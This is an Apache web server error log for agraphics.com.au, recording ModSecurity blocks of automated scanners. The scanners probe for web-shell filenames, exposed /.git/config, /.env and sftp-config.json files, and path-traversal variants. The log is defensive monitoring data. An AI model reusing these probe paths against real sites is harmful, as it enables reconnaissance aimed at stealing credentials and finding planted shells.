[Tue Nov 25 20:19:52.621459 2025] [:error] [pid 2987:tid 2992] [client 134.149.17.123:17241] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aSWe6M-djEt-pTzPxnywAAAAAUM"]
[Tue Nov 25 20:19:53.233789 2025] [:error] [pid 14076:tid 14095] [client 134.149.17.123:17328] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aSWe6XsB4Gz6Qw-pvBsi9AAAAA4"]
[Tue Nov 25 20:19:54.220928 2025] [:error] [pid 28739:tid 28766] [client 134.149.17.123:65365] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aSWe6hxGpKmlkG4FexSHwQAAAgQ"]
[Tue Nov 25 20:19:54.924335 2025] [:error] [pid 14077:tid 14120] [client 134.149.17.123:65455] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aSWe6hG9n7UHEkwDTyiqTgAAAEo"]
[Tue Nov 25 20:19:55.972362 2025] [:error] [pid 14077:tid 14122] [client 134.149.17.123:17308] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSWe6xG9n7UHEkwDTyiqVwAAAEw"]
[Tue Nov 25 20:19:56.782440 2025] [:error] [pid 14077:tid 14129] [client 134.149.17.123:17269] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSWe7BG9n7UHEkwDTyiqWQAAAFM"]
[Tue Nov 25 20:19:57.595398 2025] [:error] [pid 14077:tid 14117] [client 134.149.17.123:17153] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSWe7RG9n7UHEkwDTyiqXwAAAEc"]
[Tue Nov 25 20:19:58.422236 2025] [:error] [pid 14168:tid 14189] [client 134.149.17.123:17218] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSWe7vR-ZDU0QEgAIItzQQAAANI"]
[Tue Nov 25 20:19:59.093001 2025] [:error] [pid 28836:tid 28957] [client 134.149.17.123:17172] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aSWe75wNRsoxcLQGkTfPgQAAAsI"]
[Tue Nov 25 20:19:59.791700 2025] [:error] [pid 14076:tid 14083] [client 134.149.17.123:65378] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aSWe73sB4Gz6Qw-pvBsjBAAAAAI"]
[Tue Nov 25 20:20:00.861466 2025] [:error] [pid 28740:tid 28808] [client 134.149.17.123:17307] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aSWe8FppQCoYxWW6V0WT8gAAAlE"]
[Tue Nov 25 20:20:01.533607 2025] [:error] [pid 28740:tid 28803] [client 134.149.17.123:65422] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aSWe8VppQCoYxWW6V0WT9wAAAkw"]
[Tue Nov 25 20:20:02.491018 2025] [:error] [pid 14076:tid 14096] [client 134.149.17.123:17343] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aSWe8nsB4Gz6Qw-pvBsjBwAAAA8"]
[Tue Nov 25 20:20:03.515927 2025] [:error] [pid 14076:tid 14101] [client 134.149.17.123:17223] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aSWe83sB4Gz6Qw-pvBsjCAAAABQ"]
[Tue Nov 25 20:20:04.238719 2025] [:error] [pid 28739:tid 28768] [client 134.149.17.123:65431] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aSWe9BxGpKmlkG4FexSHzwAAAgY"]
[Tue Nov 25 20:20:05.316767 2025] [:error] [pid 28836:tid 28955] [client 134.149.17.123:65396] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aSWe9ZwNRsoxcLQGkTfPhQAAAsA"]
[Tue Nov 25 20:20:06.138008 2025] [:error] [pid 14077:tid 14119] [client 134.149.17.123:65421] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waw.php"] [unique_id "aSWe9hG9n7UHEkwDTyiqdQAAAEk"]
[Tue Nov 25 20:20:06.757646 2025] [:error] [pid 2987:tid 3002] [client 134.149.17.123:17236] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waw.php"] [unique_id "aSWe9s-djEt-pTzPxnywIgAAAU0"]
[Tue Nov 25 20:20:07.819520 2025] [:error] [pid 14077:tid 14120] [client 134.149.17.123:17335] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waw.php"] [unique_id "aSWe9xG9n7UHEkwDTyiqhwAAAEo"]
[Tue Nov 25 20:20:09.037419 2025] [:error] [pid 28739:tid 28782] [client 134.149.17.123:65367] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waw.php"] [unique_id "aSWe-RxGpKmlkG4FexSH1AAAAhQ"]
[Tue Nov 25 20:20:10.028166 2025] [:error] [pid 14077:tid 14123] [client 134.149.17.123:65384] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aSWe-hG9n7UHEkwDTyiqlQAAAE0"]
[Tue Nov 25 20:20:10.742443 2025] [:error] [pid 28739:tid 28781] [client 134.149.17.123:17176] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aSWe-hxGpKmlkG4FexSH2AAAAhM"]
[Tue Nov 25 20:20:11.396860 2025] [:error] [pid 14077:tid 14134] [client 134.149.17.123:17193] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aSWe-xG9n7UHEkwDTyiqmgAAAFg"]
[Tue Nov 25 20:20:12.356464 2025] [:error] [pid 14077:tid 14123] [client 134.149.17.123:65470] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aSWe_BG9n7UHEkwDTyiqnwAAAE0"]
[Tue Nov 25 20:20:12.938779 2025] [:error] [pid 14077:tid 14111] [client 134.149.17.123:65374] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aSWe_BG9n7UHEkwDTyiqogAAAEE"]
[Tue Nov 25 20:20:13.886411 2025] [:error] [pid 14077:tid 14125] [client 134.149.17.123:65348] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aSWe_RG9n7UHEkwDTyiqqAAAAE8"]
[Tue Nov 25 20:20:14.648955 2025] [:error] [pid 14077:tid 14110] [client 134.149.17.123:17322] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aSWe_hG9n7UHEkwDTyiqqwAAAEA"]
[Tue Nov 25 20:20:15.420981 2025] [:error] [pid 2987:tid 3003] [client 134.149.17.123:65417] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aSWe_8-djEt-pTzPxnywLQAAAU4"]
[Tue Nov 25 20:20:16.280630 2025] [:error] [pid 28609:tid 28635] [client 134.149.17.123:17259] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aSWfACGGdT-nZJVs3x3QswAAAZE"]
[Tue Nov 25 20:20:17.396044 2025] [:error] [pid 28609:tid 28642] [client 134.149.17.123:65467] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aSWfASGGdT-nZJVs3x3QtgAAAZg"]
[Tue Nov 25 20:20:18.548138 2025] [:error] [pid 28842:tid 28999] [client 134.149.17.123:17293] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aSWfAtNmoaPf6T4-6C2lVwAAA0k"]
[Tue Nov 25 20:20:19.563101 2025] [:error] [pid 14078:tid 14152] [client 134.149.17.123:17226] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aSWfA9VXYbb0ii_rVoJUcwAAAI8"]
[Tue Nov 25 20:20:20.285823 2025] [proxy_fcgi:error] [pid 14168:tid 14180] [client 134.149.17.123:17333] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:20:20.545335 2025] [proxy_fcgi:error] [pid 14168:tid 14190] [client 134.149.17.123:17333] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:20:20.811086 2025] [proxy_fcgi:error] [pid 14168:tid 14183] [client 134.149.17.123:17333] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:20:21.082856 2025] [proxy_fcgi:error] [pid 14168:tid 14194] [client 134.149.17.123:17333] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:20:21.339439 2025] [proxy_fcgi:error] [pid 14168:tid 14176] [client 134.149.17.123:17333] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:20:21.621602 2025] [proxy_fcgi:error] [pid 14168:tid 14171] [client 134.149.17.123:17333] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 22:39:51.536163 2025] [:error] [pid 28836:tid 28964] [client 54.173.250.15:41448] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aSW_t5wNRsoxcLQGkTf66QAAAsk"]
[Tue Nov 25 23:18:18.822221 2025] [autoindex:error] [pid 14076:tid 14085] [client 139.59.30.253:61626] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 05:29:27.986970 2025] [proxy_fcgi:error] [pid 3011:tid 3060] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 26 05:29:28.569707 2025] [proxy_fcgi:error] [pid 3011:tid 3065] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Nov 26 05:29:29.205859 2025] [proxy_fcgi:error] [pid 3011:tid 3064] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 26 05:29:29.416459 2025] [proxy_fcgi:error] [pid 3011:tid 3044] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 26 05:29:29.679900 2025] [proxy_fcgi:error] [pid 3011:tid 3063] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 26 05:29:29.889260 2025] [proxy_fcgi:error] [pid 3011:tid 3054] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 26 05:29:30.304429 2025] [proxy_fcgi:error] [pid 3011:tid 3047] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Nov 26 05:29:30.515976 2025] [proxy_fcgi:error] [pid 3011:tid 3056] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Nov 26 05:29:30.726206 2025] [proxy_fcgi:error] [pid 3011:tid 3043] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Nov 26 05:29:32.189234 2025] [proxy_fcgi:error] [pid 3011:tid 3058] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Nov 26 05:29:32.949322 2025] [proxy_fcgi:error] [pid 3011:tid 3055] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 26 05:29:33.156812 2025] [proxy_fcgi:error] [pid 3011:tid 3062] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 26 05:29:33.362278 2025] [proxy_fcgi:error] [pid 3011:tid 3053] [client 20.22.239.57:6176] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Nov 26 05:29:42.500645 2025] [autoindex:error] [pid 3011:tid 3045] [client 20.22.239.57:6176] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Nov 26 05:29:43.158863 2025] [autoindex:error] [pid 3011:tid 3059] [client 20.22.239.57:6176] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Nov 26 13:28:08.206533 2025] [proxy_fcgi:error] [pid 34744:tid 34827] [client 145.239.10.137:44082] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/up2.php
[Wed Nov 26 13:44:39.010155 2025] [:error] [pid 34742:tid 34767] [client 216.126.239.203:43464] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSaTx5SuLNwpQF_jzAdB8QAAAFM"]
[Wed Nov 26 14:12:08.339400 2025] [autoindex:error] [pid 35540:tid 35550] [client 139.59.30.253:54883] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 14:22:31.749519 2025] [:error] [pid 45836:tid 45847] [client 216.126.239.203:48932] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSacp5frnOGqL-seZAxHhgAAAME"]
[Wed Nov 26 17:31:59.607067 2025] [:error] [pid 45683:tid 45704] [client 198.46.154.59:50349] [client 198.46.154.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSbJDxX1gQgNFW_222qQtQAAAVA"]
[Wed Nov 26 17:32:11.602348 2025] [:error] [pid 6471:tid 6497] [client 198.46.154.59:50534] [client 198.46.154.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSbJG-h3Z9TZLlRuTiNw_AAAAJc"]
[Thu Nov 27 00:44:20.063360 2025] [:error] [pid 8184:tid 8246] [client 103.77.107.57:60818] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aScuZL-M2IHkRYVrcbN31wAAAEk"]
[Thu Nov 27 03:54:09.989837 2025] [:error] [pid 6290:tid 6316] [client 216.126.239.203:45930] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSda4YqL4zye-zKr6suAOQAAANY"]
[Thu Nov 27 04:07:18.666016 2025] [:error] [pid 6202:tid 6249] [client 213.21.239.4:38466] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics/.git/config"] [unique_id "aSdd9tJa7NTP0XPyZ6la_gAAAFA"]
[Thu Nov 27 04:07:18.667034 2025] [:error] [pid 6203:tid 6267] [client 213.21.239.4:38504] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/css../.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy43wAAAIc"]
[Thu Nov 27 04:07:18.668761 2025] [:error] [pid 6203:tid 6273] [client 213.21.239.4:38580] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics/;/.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy44QAAAI0"]
[Thu Nov 27 04:07:18.674185 2025] [:error] [pid 6203:tid 6261] [client 213.21.239.4:38472] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/backup/.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy44gAAAIE"]
[Thu Nov 27 04:07:18.676028 2025] [:error] [pid 6203:tid 6264] [client 213.21.239.4:38496] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/common/.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy44wAAAIQ"]
[Thu Nov 27 04:07:18.676508 2025] [:error] [pid 6203:tid 6271] [client 213.21.239.4:38436] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy45AAAAIs"]
[Thu Nov 27 04:07:18.677223 2025] [:error] [pid 6203:tid 6282] [client 213.21.239.4:38498] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/content../.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy45QAAAJY"]
